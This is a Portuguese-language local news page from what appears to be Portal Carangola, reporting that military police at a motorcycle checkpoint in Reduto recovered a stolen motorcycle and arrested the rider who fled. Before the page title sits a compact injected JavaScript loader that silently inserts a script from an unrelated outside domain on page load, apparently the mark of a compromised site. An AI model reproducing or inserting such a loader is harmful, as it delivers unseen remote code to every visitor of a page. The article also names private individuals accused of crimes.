;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); PM Reduto: Durante Operação Blitz, recuperam motocicleta furtada. - Portal Carangola

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PM Reduto: Durante Operação Blitz, recuperam motocicleta furtada.

Equipe PM composta pelo Sargento Luiz Narcizo e Soldado Duarte, durante realização da Operação Parada Obrigatória de Motocicletas – uma Blitz de Trânsito que tem por objetivo coibir a prática de delitos, furtos/assaltos em nossa região, por marginais que se utilizam de motocicletas para tais práticas, além de conferência da documentação e demais procedimentos padrão a todos abordados – foi dada ordem de parada ao condutor Alessandro dos Santos Freitas, 32 anos, que obedeceu e estacionou a motocicleta.
Ao ser solicitado a documentação de porte obrigatório referida na Lei Federal 9.503/97, o Código de Trânsito Brasileiro (“CTB”), o condutor informou aos militares ser que possui habilitação e, que a motocicleta era alienada e que não portava o CRLV da mesma.
No momento em que os PMs consultavam via rede/rádio COPOM/11º BPM, Alessandro disse que iria beber água em um comércio em frente à blitz, mas de repente embrenhou-se em desabalada carreira correndo pelo meio da Avenida principal de Reduto.
Imediatamente os militares perseguiram o indivíduo e, já informados pelo COPOM que a motocicleta era produto de furto, eram voz de prisão ao indivíduo.
Segundo o autor, ele comprou a motocicleta do cidadão Edson Lourenço Marques, vulgo: Edinho de São João do Manhuaçu e região, no valor de R$1.000,00 (hum mil reais) e não sabia que a motocicleta era furtada ou roubada, apesar de não ter explicado por que correu já que não sabia que a motocicleta era furtada.
Alegou ainda ser usuário de drogas.
A motocicleta foi apreendida e encaminhada ao pátio credenciado de plantão.
Os militares ressaltam quanto à necessidade de se manter alertas quanto a ofertas aparentemente muito vantajosas, vale lembrar o ditado popular: “quando a oferta é demais o santo desconfia”.
Orientam também que adquirir produtos provenientes de furto, pode fazer com que o adquirente incorra no crime de receptação, tipificado no Artigo 180 Código Penal Brasileiro.

Informação: Fellipe Duarte.

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